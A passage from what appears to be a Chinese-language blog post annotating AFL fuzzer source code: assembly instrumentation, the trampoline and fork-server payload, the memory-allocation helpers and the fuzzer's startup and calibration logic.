class="number">2</span>, <span class="string">"section\t.text"</span>, <span class="number">13</span>) ||</span><br><span class="line"> !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"section\t__TEXT,__text"</span>, <span class="number">21</span>) ||</span><br><span class="line"> !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"section __TEXT,__text"</span>, <span class="number">21</span>)</span><br><span class="line"> ) </span><br><span class="line"> {</span><br><span class="line"> instr_ok = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">continue</span>; </span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"section\t"</span>, <span class="number">8</span>) ||</span><br><span class="line"> !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"section "</span>, <span class="number">8</span>) ||</span><br><span class="line"> !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"bss\n"</span>, <span class="number">4</span>) ||</span><br><span class="line"> !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">2</span>, <span class="string">"data\n"</span>, <span class="number">5</span>)</span><br><span class="line"> ) </span><br><span class="line"> {</span><br><span class="line"> instr_ok = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Detect off-flavor assembly (rare, happens in gdb). When this is</span></span><br><span class="line"><span class="comment"> encountered, we set skip_csect until the opposite directive is</span></span><br><span class="line"><span class="comment"> seen, and we do not instrument. </span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">".code"</span>))<span class="comment">//这里可以看到skip_csect是检测.code格式设置的,比较少见</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">".code32"</span>)) skip_csect = use_64bit;</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">".code64"</span>)) skip_csect = !use_64bit;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Detect syntax changes, as could happen with hand-written assembly.</span></span><br><span class="line"><span class="comment"> Skip Intel blocks, resume instrumentation when back to AT&T. */</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">".intel_syntax"</span>)) skip_intel = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">".att_syntax"</span>)) skip_intel = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Detect syntax changes, as could happen with hand-written assembly.</span></span><br><span class="line"><span class="comment"> Skip Intel blocks, resume instrumentation when back to AT&T. */</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">".intel_syntax"</span>)) skip_intel = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">".att_syntax"</span>)) skip_intel = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Detect and skip ad-hoc __asm__ blocks, likewise skipping them. */</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">line</span>[<span class="number">0</span>] == <span class="string">'#'</span> || <span class="built_in">line</span>[<span class="number">1</span>] == <span class="string">'#'</span>) </span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">"#APP"</span>)) skip_app = <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">"#NO_APP"</span>)) skip_app = <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"><span class="comment">//上面这三个写的比较清楚就不解释辽</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//....(一些代码)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* </span></span><br><span class="line"><span class="comment"> Conditional branch instruction (jnz, etc). We append the instrumentation</span></span><br><span class="line"><span class="comment"> right after the branch (to instrument the not-taken path) and at the</span></span><br><span class="line"><span class="comment"> branch destination label (handled later on). </span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">line</span>[<span class="number">0</span>] == <span class="string">'\t'</span>) <span class="comment">//这里有个比较重要的分支,当指令不是jmp而是一些条件跳转指令时,会在条件跳转指令之后进行插桩,还有对应的目标地址处(在后面处理)</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">line</span>[<span class="number">1</span>] == <span class="string">'j'</span> && <span class="built_in">line</span>[<span class="number">2</span>] != <span class="string">'m'</span> && R(<span class="number">100</span>) < inst_ratio) <span class="comment">//这个int_ratio暂时没管是干嘛的...</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">fprintf</span>(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE));</span><br><span class="line"> ins_lines++;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="comment">/* </span></span><br><span class="line"><span class="comment">Label of some sort. This may be a branch destination, but we need to</span></span><br><span class="line"><span class="comment">tread carefully and account for several different formatting</span></span><br><span class="line"><span class="comment">conventions. 这里就是在打上了Label的地方进行插桩,可能是跳转指令的目的地址</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"> <span class="comment">/* Everybody else: .L<whatever>: */</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">strstr</span>(<span class="built_in">line</span>, <span class="string">":"</span>))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">line</span>[<span class="number">0</span>] == <span class="string">'.'</span>)<span class="comment">//判断到是一个Label</span></span><br><span class="line"> {</span><br><span class="line"> <span class="comment">/* .L0: or LBB0_0: style jump destination 跳转Label*/</span></span><br><span class="line"> <span class="keyword">if</span> ((<span class="built_in">isdigit</span>(<span class="built_in">line</span>[<span class="number">2</span>]) || (clang_mode && !<span class="built_in">strncmp</span>(<span class="built_in">line</span> + <span class="number">1</span>, <span class="string">"LBB"</span>, <span class="number">3</span>))) && R(<span class="number">100</span>) < inst_ratio) </span><br><span class="line"> {</span><br><span class="line"> <span class="comment">/* An optimization is possible here by adding the code only if the</span></span><br><span class="line"><span class="comment"> label is mentioned in the code in contexts other than call / jmp.</span></span><br><span class="line"><span class="comment"> That said, this complicates the code by requiring two-pass</span></span><br><span class="line"><span class="comment"> processing (messy with stdin), and results in a speed gain</span></span><br><span class="line"><span class="comment"> typically under 10%, because compilers are generally pretty good</span></span><br><span class="line"><span class="comment"> about not generating spurious intra-function jumps.</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment"> We use deferred output chiefly to avoid disrupting</span></span><br><span class="line"><span class="comment"> .Lfunc_begin0-style exception handling calculations (a problem on</span></span><br><span class="line"><span class="comment"> MacOS X). */</span></span><br><span class="line"> <span class="keyword">if</span> (!skip_next_label) instrument_next = <span class="number">1</span>; <span class="keyword">else</span> skip_next_label = <span class="number">0</span>;<span class="comment">//这里跟前面的那个标志也有关系</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> </span><br><span class="line"> {</span><br><span class="line"> <span class="comment">/* Function label (always instrumented, deferred mode). 函数Label*/</span></span><br><span class="line"> instrument_next = <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"><span class="comment">//到这里大循环的插桩就结束了,之后还有补充的小块代码就不写了,主要就是这些:只在代码段插桩、在有函数Label(函数入口)和跳转Label处插桩,在条件条状指令之后插桩</span></span><br></pre></td></tr></table></figure>
<p>afl-as.h中就是具体的插桩代码,以32位为例来分析</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">const</span> u8* trampoline_fmt_32 =</span><br><span class="line"> <span class="string">"\n"</span></span><br><span class="line"> <span class="string">"/* --- AFL TRAMPOLINE (32-BIT) --- */\n"</span></span><br><span class="line"> <span class="string">"\n"</span></span><br><span class="line"> <span class="string">".align 4\n"</span></span><br><span class="line"> <span class="string">"\n"</span></span><br><span class="line"> <span class="string">"leal -16(%%esp), %%esp\n"</span></span><br><span class="line"> <span class="string">"movl %%edi, 0(%%esp)\n"</span></span><br><span class="line"> <span class="string">"movl %%edx, 4(%%esp)\n"</span></span><br><span class="line"> <span class="string">"movl %%ecx, 8(%%esp)\n"</span></span><br><span class="line"> <span class="string">"movl %%eax, 12(%%esp)\n"</span></span><br><span class="line"> <span class="string">"movl $0x%08x, %%ecx\n"</span> <span class="comment">//这里%08x就是前面fprintf中R(MAP_SIZE)的写入点,用作随机数标识</span></span><br><span class="line"> <span class="string">"call __afl_maybe_log\n"</span></span><br><span class="line"> <span class="string">"movl 12(%%esp), %%eax\n"</span></span><br><span class="line"> <span class="string">"movl 8(%%esp), %%ecx\n"</span></span><br><span class="line"> <span class="string">"movl 4(%%esp), %%edx\n"</span></span><br><span class="line"> <span class="string">"movl 0(%%esp), %%edi\n"</span></span><br><span class="line"> <span class="string">"leal 16(%%esp), %%esp\n"</span></span><br><span class="line"> <span class="string">"\n"</span></span><br><span class="line"> <span class="string">"/* --- END --- */\n"</span></span><br><span class="line"> <span class="string">"\n"</span>;</span><br></pre></td></tr></table></figure>
<p>payload根据实际效果删了一些宏定义啥的,看起来好看一点,emmm其实建议直接IDA反汇编看更好?….不过这里汇编有作者的注释帮着看,IDA反汇编图我在代码后面贴上了</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">main_payload_32 = </span><br><span class="line"> <span class="string">"/* --- AFL MAIN PAYLOAD (32-BIT) --- */\n"</span></span><br><span class="line"> <span class="string">".text\n"</span></span><br><span class="line"> <span class="string">".att_syntax\n"</span></span><br><span class="line"> <span class="string">".code32\n"</span></span><br><span class="line"> <span class="string">".align 8\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">"__afl_maybe_log:\n"</span></span><br><span class="line"> <span class="string">" lahf\n"</span> <span class="comment">//将EFLAGS 寄存器标志位加载到AH</span></span><br><span class="line"> <span class="string">" seto %al\n"</span> <span class="comment">//为溢出置位</span></span><br><span class="line"> </span><br><span class="line"> <span class="string">" /* Check if SHM region is already mapped. */\n"</span></span><br><span class="line"> <span class="string">" movl __afl_area_ptr, %edx\n"</span></span><br><span class="line"> <span class="string">" testl %edx, %edx\n"</span></span><br><span class="line"> <span class="string">" je __afl_setup\n"</span> <span class="comment">//检查共享内存指针是否到位</span></span><br><span class="line"></span><br><span class="line"> <span class="string">"__afl_store:\n"</span></span><br><span class="line"> <span class="string">" /* Calculate and store hit for the code location specified in ecx. There\n"</span></span><br><span class="line"> <span class="string">" is a double-XOR way of doing this without tainting another register,\n"</span></span><br><span class="line"> <span class="string">" and we use it on 64-bit systems; but it's slower for 32-bit ones. */\n"</span></span><br><span class="line"> <span class="string">" movl __afl_prev_loc, %edi\n"</span></span><br><span class="line"> <span class="string">" xorl %ecx, %edi\n"</span></span><br><span class="line"> <span class="string">" shrl $1, %ecx\n"</span></span><br><span class="line"> <span class="string">" movl %ecx, __afl_prev_loc\n"</span></span><br><span class="line"> <span class="string">" incb (%edx, %edi, 1)\n"</span> <span class="comment">//根据随机数存储执行位置,算法在后文分析</span></span><br><span class="line"> The shared_mem[] <span class="built_in">array</span> is a <span class="number">64</span> kB SHM region passed to the instrumented binary</span><br><span class="line">by the caller. Every <span class="keyword">byte</span> <span class="built_in">set</span> in the output <span class="built_in">map</span> can be thought of as a hit <span class="keyword">for</span></span><br><span class="line">a particular (branch_src, branch_dst) tuple in the instrumented code.</span><br><span class="line"> </span><br><span class="line"> <span class="string">"__afl_return:\n"</span></span><br><span class="line"> <span class="string">" addb $127, %al\n"</span></span><br><span class="line"> <span class="string">" sahf\n"</span></span><br><span class="line"> <span class="string">" ret\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">".align 8\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">"__afl_setup:\n"</span><span class="comment">//setup只会在最开始调用afl_maybe_log处触发,即main函数的最前面触发,主要是开启一个目标文件自己的fork循环用来记录执行路径(这个程序自己的fork循环就是forkserver)</span></span><br><span class="line"> <span class="string">" /* Do not retry setup if we had previous failures. */\n"</span></span><br><span class="line"> <span class="string">" cmpb $0, __afl_setup_failure\n"</span></span><br><span class="line"> <span class="string">" jne __afl_return\n"</span></span><br><span class="line"> <span class="string">" /* Map SHM, jumping to __afl_setup_abort if something goes wrong.\n"</span></span><br><span class="line"> <span class="string">" We do not save FPU/MMX/SSE registers here, but hopefully, nobody\n"</span></span><br><span class="line"> <span class="string">" will notice this early in the game. */\n"</span></span><br><span class="line"> <span class="string">" pushl %eax\n"</span></span><br><span class="line"> <span class="string">" pushl %ecx\n"</span></span><br><span class="line"> <span class="string">" pushl $.AFL_SHM_ENV\n"</span></span><br><span class="line"> <span class="string">" call getenv\n"</span></span><br><span class="line"> <span class="string">" addl $4, %esp\n"</span></span><br><span class="line"> <span class="string">" testl %eax, %eax\n"</span></span><br><span class="line"> <span class="string">" je __afl_setup_abort\n"</span></span><br><span class="line"> <span class="string">" pushl %eax\n"</span></span><br><span class="line"> <span class="string">" call atoi\n"</span></span><br><span class="line"> <span class="string">" addl $4, %esp\n"</span></span><br><span class="line"> <span class="string">" pushl $0 /* shmat flags */\n"</span></span><br><span class="line"> <span class="string">" pushl $0 /* requested addr */\n"</span></span><br><span class="line"> <span class="string">" pushl %eax /* SHM ID */\n"</span></span><br><span class="line"> <span class="string">" call shmat\n"</span></span><br><span class="line"> <span class="string">" addl $12, %esp\n"</span></span><br><span class="line"> <span class="string">" cmpl $-1, %eax\n"</span></span><br><span class="line"> <span class="string">" je __afl_setup_abort\n"</span></span><br><span class="line"> <span class="string">" /* Store the address of the SHM region. */\n"</span></span><br><span class="line"> <span class="string">" movl %eax, __afl_area_ptr\n"</span></span><br><span class="line"> <span class="string">" movl %eax, %edx\n"</span></span><br><span class="line"> <span class="string">" popl %ecx\n"</span></span><br><span class="line"> <span class="string">" popl %eax\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">"__afl_forkserver:\n"</span></span><br><span class="line"> <span class="string">" /* Enter the fork server mode to avoid the overhead of execve() calls. */\n"</span></span><br><span class="line"> <span class="string">" pushl %eax\n"</span></span><br><span class="line"> <span class="string">" pushl %ecx\n"</span></span><br><span class="line"> <span class="string">" pushl %edx\n"</span></span><br><span class="line"> <span class="string">" /* Phone home and tell the parent that we're OK. (Note that signals with\n"</span></span><br><span class="line"> <span class="string">" no SA_RESTART will mess it up). If this fails, assume that the fd is\n"</span></span><br><span class="line"> <span class="string">" closed because we were execve()d from an instrumented binary, or because\n"</span> </span><br><span class="line"> <span class="string">" the parent doesn't want to use the fork server. */\n"</span></span><br><span class="line"> <span class="string">" pushl $4 /* length */\n"</span></span><br><span class="line"> <span class="string">" pushl $__afl_temp /* data */\n"</span></span><br><span class="line"> <span class="string">" pushl $"</span> STRINGIFY((FORKSRV_FD + <span class="number">1</span>)) <span class="string">" /* file desc */\n"</span><span class="comment">//fork server向fuzzer传递执行状态码,199描述符(后面会说是什么)</span></span><br><span class="line"> <span class="string">" call write\n"</span></span><br><span class="line"> <span class="string">" addl $12, %esp\n"</span></span><br><span class="line"> <span class="string">" cmpl $4, %eax\n"</span></span><br><span class="line"> <span class="string">" jne __afl_fork_resume\n"</span></span><br><span class="line"></span><br><span class="line"> <span class="string">"__afl_fork_wait_loop:\n"</span></span><br><span class="line"> <span class="string">" /* Wait for parent by reading from the pipe. Abort if read fails. */\n"</span></span><br><span class="line"> <span class="string">" pushl $4 /* length */\n"</span></span><br><span class="line"> <span class="string">" pushl $__afl_temp /* data */\n"</span></span><br><span class="line"> <span class="string">" pushl $"</span> STRINGIFY(FORKSRV_FD) <span class="string">" /* file desc */\n"</span><span class="comment">//等待fuzzer传递命令,198描述符</span></span><br><span class="line"> <span class="string">" call read\n"</span></span><br><span class="line"> <span class="string">" addl $12, %esp\n"</span></span><br><span class="line"> <span class="string">" cmpl $4, %eax\n"</span></span><br><span class="line"> <span class="string">" jne __afl_die\n"</span></span><br><span class="line"> <span class="string">" /* Once woken up, create a clone of our process. This is an excellent use"</span></span><br><span class="line"> <span class="string">" case for syscall(__NR_clone, 0, CLONE_PARENT), but glibc boneheadedly"</span></span><br><span class="line"> <span class="string">" caches getpid() results and offers no way to update the value, breaking"</span></span><br><span class="line"> <span class="string">" abort(), raise(), and a bunch of other things :-( */\n"</span></span><br><span class="line"> <span class="string">" call fork\n"</span></span><br><span class="line"> <span class="string">" cmpl $0, %eax\n"</span></span><br><span class="line"> <span class="string">" jl __afl_die\n"</span></span><br><span class="line"> <span class="string">" je __afl_fork_resume\n"</span></span><br><span class="line"> <span class="string">" /* In parent process: write PID to pipe, then wait for child. */\n"</span></span><br><span class="line"> <span class="string">" movl %eax, __afl_fork_pid\n"</span></span><br><span class="line"> <span class="string">" pushl $4 /* length */\n"</span></span><br><span class="line"> <span class="string">" pushl $__afl_fork_pid /* data */\n"</span></span><br><span class="line"> <span class="string">" pushl $"</span> STRINGIFY((FORKSRV_FD + <span class="number">1</span>)) <span class="string">" /* file desc */\n"</span><span class="comment">//199描述符</span></span><br><span class="line"> <span class="string">" call write\n"</span></span><br><span class="line"> <span class="string">" addl $12, %esp\n"</span></span><br><span class="line"> <span class="string">" pushl $0 /* no flags */\n"</span></span><br><span class="line"> <span class="string">" pushl $__afl_temp /* status */\n"</span></span><br><span class="line"> <span class="string">" pushl __afl_fork_pid /* PID */\n"</span></span><br><span class="line"> <span class="string">" call waitpid\n"</span></span><br><span class="line"> <span class="string">" addl $12, %esp\n"</span></span><br><span class="line"> <span class="string">" cmpl $0, %eax\n"</span></span><br><span class="line"> <span class="string">" jle __afl_die\n"</span></span><br><span class="line"> <span class="string">" /* Relay wait status to pipe, then loop back. */\n"</span> <span class="comment">//wait statu指最开始那个进程等待到的 子进程返回来的 状态</span></span><br><span class="line"> <span class="string">" pushl $4 /* length */\n"</span></span><br><span class="line"> <span class="string">" pushl $__afl_temp /* data */\n"</span></span><br><span class="line"> <span class="string">" pushl $"</span> STRINGIFY((FORKSRV_FD + <span class="number">1</span>)) <span class="string">" /* file desc */\n"</span></span><br><span class="line"> <span class="string">" call write\n"</span></span><br><span class="line"> <span class="string">" addl $12, %esp\n"</span></span><br><span class="line"> <span class="string">" jmp __afl_fork_wait_loop\n"</span></span><br><span class="line"> </span><br><span class="line"> <span class="string">"__afl_fork_resume:\n"</span><span class="comment">//这里是每次forkserver fork出来的子进程都要执行的</span></span><br><span class="line"> <span class="string">" /* In child process: close fds, resume execution. */\n"</span></span><br><span class="line"> <span class="string">" pushl $"</span> STRINGIFY(FORKSRV_FD) <span class="string">"\n"</span></span><br><span class="line"> <span class="string">" call close\n"</span></span><br><span class="line"> <span class="string">" pushl $"</span> STRINGIFY((FORKSRV_FD + <span class="number">1</span>)) <span class="string">"\n"</span></span><br><span class="line"> <span class="string">" call close\n"</span></span><br><span class="line"> <span class="string">" addl $8, %esp\n"</span></span><br><span class="line"> <span class="string">" popl %edx\n"</span></span><br><span class="line"> <span class="string">" popl %ecx\n"</span></span><br><span class="line"> <span class="string">" popl %eax\n"</span></span><br><span class="line"> <span class="string">" jmp __afl_store\n"</span><span class="comment">//跳到前面的__afl_store</span></span><br><span class="line"></span><br><span class="line"> <span class="string">"__afl_die:\n"</span></span><br><span class="line"> <span class="string">" xorl %eax, %eax\n"</span></span><br><span class="line"> <span class="string">" call _exit\n"</span></span><br><span class="line"> </span><br><span class="line"> <span class="string">"__afl_setup_abort:\n"</span></span><br><span class="line"> <span class="string">" /* Record setup failure so that we don't keep calling\n"</span></span><br><span class="line"> <span class="string">" shmget() / shmat() over and over again. */\n"</span></span><br><span class="line"> <span class="string">" incb __afl_setup_failure\n"</span></span><br><span class="line"> <span class="string">" popl %ecx\n"</span></span><br><span class="line"> <span class="string">" popl %eax\n"</span></span><br><span class="line"> <span class="string">" jmp __afl_return\n"</span></span><br><span class="line"> </span><br><span class="line"> <span class="string">".AFL_VARS:\n"</span></span><br><span class="line"> <span class="string">" .comm __afl_area_ptr, 4, 32\n"</span></span><br><span class="line"> <span class="string">" .comm __afl_setup_failure, 1, 32\n"</span></span><br><span class="line"> <span class="string">" .comm __afl_prev_loc, 4, 32\n"</span></span><br><span class="line"> <span class="string">" .comm __afl_fork_pid, 4, 32\n"</span></span><br><span class="line"> <span class="string">" .comm __afl_temp, 4, 32\n"</span></span><br><span class="line"> <span class="string">"\n"</span></span><br><span class="line"> <span class="string">".AFL_SHM_ENV:\n"</span></span><br><span class="line"> <span class="string">" .asciz \""</span> SHM_ENV_VAR <span class="string">"\"\n"</span></span><br><span class="line"> <span class="string">"\n"</span></span><br><span class="line"> <span class="string">"/* --- END --- */\n"</span></span><br></pre></td></tr></table></figure>
<img src="https://cdn.jsdelivr.net/gh/Coldshield/image_stored/image-20210203133736042.png" alt="image-20210203133736042" style="zoom:80%;">
<h2 id="alloc-inl-c"><a href="#alloc-inl-c" class="headerlink" title="alloc-inl.c"></a>alloc-inl.c</h2><p>后面的代码中很多与内存相关的操作都是alloc-inl里面的,不缕一下的话不知所云…所以这里记录一下经常在afl-fuzz.c中看到的几个内存操作函数</p>
<p>作者原话:This allocator is not designed to resist malicious attackers (the canaries are small and predictable), but provides a robust and portable way to detect use-after-free, off-by-one writes, stale pointers, and so on.</p>
<p>里面的宏定义有一些类似:<code>__LINE__</code>,<code>__FUNCTION__</code>的,这是C编译器的内置宏,具体代表什么意思百度一下即可</p>
<ul>
<li><code>ALLOC_CHECK_SIZE(size)</code> malloc前检查size是否超过设置的最大chunk大小</li>
<li><code>ret = malloc(size + ALLOC_OFF_TOTAL);</code>经常出现的malloc方式,这里是<code>+ ALLOC_OFF_TOTAL</code>为了在chunk前8字节处存放一个4B的头部标志和size,还有一个1B的尾部标志</li>
<li><code>ALLOC_CHECK_RESULT(ret,size)</code> malloc后检查是否分配成功,若ret为NULL,这个size就会用于打印错误信息</li>
<li><code>TRK_ck_strdup</code>,(<strong>TRK</strong>开头 + ck + 一般函数名)的函数,主要进行如下两个操作<ul>
<li><code>void* ret = DFL_ck_strdup(str);</code>,(<strong>DFL</strong>开头)的函数就是正常的操作,比如这个<code>DFL_ck_strdup</code>就是用作者自己的一些逻辑+上面提到的三个主要步骤实现</li>
<li><code>TRK_alloc_buf(void* ret, const char* file, const char* func, u32 line)</code> ,将哪个文件、哪个函数、哪一行申请内存的信息用 哈希散列+链地址法 的方法存在了一个散列表中,主要为了后续的检查。带alloc的函数用来存放,带free的就是用来判断有没有错误之类的</li>
</ul>
</li>
<li></li>
</ul>
<h2 id="afl-fuzz-c"><a href="#afl-fuzz-c" class="headerlink" title="afl-fuzz.c"></a>afl-fuzz.c</h2><p>看完了插桩接下来就是看具体的fuzz逻辑了,这里大概有8000多行代码,慢慢缕吧</p>
<p>main函数前面的主逻辑就是一个处理输入参数的逻辑,里面还处理了一个non official参数 <code>-B</code>…这里是作者的注释,作用是指定bitmap,会影响<code>in_bitmap</code>这个全局变量</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/* This is a secret undocumented option! It is useful if you find</span></span><br><span class="line"><span class="comment">an interesting test case during a normal fuzzing process, and want</span></span><br><span class="line"><span class="comment">to mutate it without rediscovering any of the test cases already</span></span><br><span class="line"><span class="comment">found during an earlier run.</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">To use this mode, you need to point -B to the fuzz_bitmap produced</span></span><br><span class="line"><span class="comment">by an earlier run for the exact same binary... and that's it.</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">I only used this once or twice to get variants of a particular</span></span><br><span class="line"><span class="comment">file, so I'm not making this an official setting. */</span></span><br></pre></td></tr></table></figure>
<p>处理完参数之后,首先 <code>setup_signal_handlers();check_asan_opts();</code>,设置一系列程序运行时的信号处理,比如超时如何处理,检查asan参数,然后还有一系列的设置和检查,具体还是看代码的7910行左右吧(2.52版本)</p>
<p>处理完参数之后就是一些操作</p>
<h3 id="main-part1"><a href="#main-part1" class="headerlink" title="main (part1)"></a>main (part1)</h3><p>因为函数属实有点多所以只记录了一些印象比较深的,建议想了解的话,每个函数点进去看看作者的注释说了什么,而且一些函数的作用在我前面开头提到的入门博客中有写,就不赘述了</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"> save_cmdline(argc, argv);<span class="comment">//保存当前命令</span></span><br><span class="line"> fix_up_banner(argv[optind]);<span class="comment">//跟运行时的标志有关系,显示一个运行示例的名字之类的,可以用-T指定这个banner</span></span><br><span class="line"> check_if_tty();</span><br><span class="line"> get_core_count();</span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> HAVE_AFFINITY</span></span><br><span class="line"> bind_to_free_cpu();</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span> <span class="comment">/* HAVE_AFFINITY */</span></span></span><br><span class="line"> check_crash_handling();</span><br><span class="line"> check_cpu_governor();</span><br><span class="line"> setup_post();</span><br><span class="line"> setup_shm();<span class="comment">//这一步为bitmap初始共享内存,供fuzzer分析、目标文件进行记录</span></span><br><span class="line"><span class="comment">//还初始化了virgin_bits(如果使用-B就不会),virgin_tmout,virgin_crash,内容均为0xFF</span></span><br><span class="line"> </span><br><span class="line"> init_count_class16();<span class="comment">//这里是为bitmap中的执行次数分类做准备</span></span><br><span class="line"> setup_dirs_fds();</span><br><span class="line"> read_testcases();</span><br><span class="line"> load_auto();</span><br><span class="line"> pivot_inputs();</span><br><span class="line"> <span class="keyword">if</span> (extras_dir) load_extras(extras_dir);</span><br><span class="line"> <span class="keyword">if</span> (!timeout_given) find_timeout();</span><br><span class="line"> detect_file_args(argv + optind + <span class="number">1</span>);</span><br><span class="line"> <span class="keyword">if</span> (!out_file) setup_stdio_file();</span><br><span class="line"> check_binary(argv[optind]);</span><br><span class="line"> start_time = get_cur_time();</span><br><span class="line"> <span class="keyword">if</span> (qemu_mode)</span><br><span class="line"> use_argv = get_qemu_argv(argv[<span class="number">0</span>], argv + optind, argc - optind);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> use_argv = argv + optind;</span><br><span class="line"></span><br><span class="line"> perform_dry_run(use_argv);<span class="comment">//这个函数可以看看,主要是初始化forkserver后用我们提供的testcase进行初始测试,然后输出测试用例的一些结果信息</span></span><br><span class="line"><span class="comment">//里面子函数有很多关于fuzz细节相关的代码,建议研读</span></span><br></pre></td></tr></table></figure>
<h3 id="calibrate-case"><a href="#calibrate-case" class="headerlink" title="calibrate_case"></a>calibrate_case</h3><p><code>perform_dry_run</code>中主要就是这个函数用我们给的所有testcase对进行循环测试,<code>calibrate_case</code>第一次先调用<code>init_forkserver</code>将结构初始化(函数见下文),然后根据临时变量<code>stage</code>指定的次数,使用<code>run_target</code>进行循环测试(函数见下文),而且每次执行完都进行了一次<code>update_bitmap_score</code>(这个函数用于找到更快或者规模更小的用例来达到相同的效果),这里是循环体内的一部分代码</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">u32 cksum;<span class="comment">//这个变量在后面的hash会用到</span></span><br><span class="line"> <span class="keyword">if</span> (!first_run && !(stage_cur % stats_update_freq)) show_stats();<span class="comment">//这个是输出界面</span></span><br><span class="line">write_to_testcase(use_mem, q->len);<span class="comment">//输入测试用例的数据到一个临时文件,当做被测试文件的输入</span></span><br><span class="line"></span><br><span class="line"> fault = run_target(argv, use_tmout);<span class="comment">//fault是目标测试返回的错误类型</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* stop_soon is set by the handler for Ctrl+C. When it's pressed,</span></span><br><span class="line"><span class="comment"> we want to bail out quickly. */</span></span><br><span class="line"> <span class="keyword">if</span> (stop_soon || fault != crash_mode) <span class="keyword">goto</span> abort_calibration;<span class="comment">//如果不是crash(只记录crash的crash模式)</span></span><br><span class="line"></span><br><span class="line"> cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST);<span class="comment">//对执行的trace bitmap做一次hash</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (q->exec_cksum != cksum)<span class="comment">//如果hash值发生变化,检测变化</span></span><br><span class="line"> {</span><br><span class="line"> u8 hnb = has_new_bits(virgin_bits);<span class="comment">//always 0,return 1 hit-count for a particular tuple,2 if new tuples(二元组是干什么的见官方文档吧,相当于执行路径,用bitmap记录的)</span></span><br><span class="line"> <span class="keyword">if</span> (hnb > new_bits) new_bits = hnb;</span><br><span class="line"> <span class="keyword">if</span> (q->exec_cksum)<span class="comment">//如果已经run过</span></span><br><span class="line"> {</span><br><span class="line"> u32 i;</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < MAP_SIZE; i++) </span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (!var_bytes[i] && first_trace[i] != trace_bits[i])<span class="comment">//用var_bytes记录执行变化了的位置</span></span><br><span class="line"> {</span><br><span class="line"> var_bytes[i] = <span class="number">1</span>;</span><br><span class="line"> stage_max = CAL_CYCLES_LONG;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> var_detected = <span class="number">1</span>;</span><br><span class="line"> } </span><br><span class="line"> <span 